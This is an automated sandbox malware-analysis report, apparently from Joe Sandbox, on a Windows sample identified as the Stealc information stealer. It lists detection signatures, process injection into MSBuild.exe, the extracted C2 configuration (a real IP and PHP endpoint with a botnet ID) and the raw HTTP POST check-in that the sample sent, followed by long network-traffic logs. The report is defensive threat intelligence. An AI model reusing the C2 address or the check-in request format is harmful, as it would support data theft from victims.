Edit tour

Windows Analysis Report
MmcJhaiYNh.exe

Overview

General Information

Sample name:	MmcJhaiYNh.exe renamed because original name is a hash value
Original sample name:	ac01d961f8d6509a9363de460482e87b.exe
Analysis ID:	1528589
MD5:	ac01d961f8d6509a9363de460482e87b
SHA1:	6239ec6d05034b9e2b2add7417b61bf8b2a772e1
SHA256:	f2f1a93d30d38fbe7b271d9c9b173b18b98e32c3424e62808112411fb05c32b7
Tags:	32exetrojan
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Machine Learning detection for sample

Sigma detected: Silenttrinity Stager Msbuild Activity

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

MmcJhaiYNh.exe (PID: 7676 cmdline: "C:\Users\user\Desktop\MmcJhaiYNh.exe" MD5: AC01D961F8D6509A9363DE460482E87B)

MSBuild.exe (PID: 7736 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 7744 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 7876 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 248 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://62.204.41.150/edd20096ecef326d.php", "Botnet": "default6_doz"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: MmcJhaiYNh.exe PID: 7676	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 7744	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 7744	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.MmcJhaiYNh.exe.87dad8.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.MmcJhaiYNh.exe.87dad8.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.MmcJhaiYNh.exe.850000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 62.204.41.150, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7744, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49702

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:24:09.467010+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	49702	62.204.41.150	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: MmcJhaiYNh.exe

Avira: detected

Found malware configuration

Source: 0.2.MmcJhaiYNh.exe.87dad8.2.raw.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://62.204.41.150/edd20096ecef326d.php", "Botnet": "default6_doz"}

Multi AV Scanner detection for domain / URL

Source: http://62.204.41.150	Virustotal: Detection: 9%	Perma Link
Source: http://62.204.41.150/edd20096ecef326d.php-	Virustotal: Detection: 6%	Perma Link
Source: http://62.204.41.150/	Virustotal: Detection: 9%	Perma Link
Source: http://62.204.41.150/edd20096ecef326d.php	Virustotal: Detection: 12%	Perma Link
Source: http://62.204.41.150/edd20096ecef326d.php5	Virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for submitted file

Source: MmcJhaiYNh.exe

Virustotal: Detection: 44%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: MmcJhaiYNh.exe

Joe Sandbox ML: detected

Source: MmcJhaiYNh.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.10:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.10:49846 version: TLS 1.2

Source: MmcJhaiYNh.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Code function: 0_2_00869ABF FindFirstFileExW,

0_2_00869ABF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:49702 -> 62.204.41.150:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://62.204.41.150/edd20096ecef326d.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.150Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGCHost: 62.204.41.150Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 43 32 33 35 30 37 34 36 46 43 33 30 37 31 38 35 39 34 36 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 36 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="hwid"F1C2350746FC3071859460------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build"default6_doz------DGCBAFIJDGHCAKECAEGC--

Source: Joe Sandbox View

IP Address: 62.204.41.150 62.204.41.150

Source: Joe Sandbox View

ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00406280 InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

3_2_00406280

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.150Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGCHost: 62.204.41.150Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 43 32 33 35 30 37 34 36 46 43 33 30 37 31 38 35 39 34 36 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 36 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="hwid"F1C2350746FC3071859460------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build"default6_doz------DGCBAFIJDGHCAKECAEGC--

Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/Tg$
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/W
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.php
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.php-
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.php5
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.phpn8
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.phpows
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150=
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
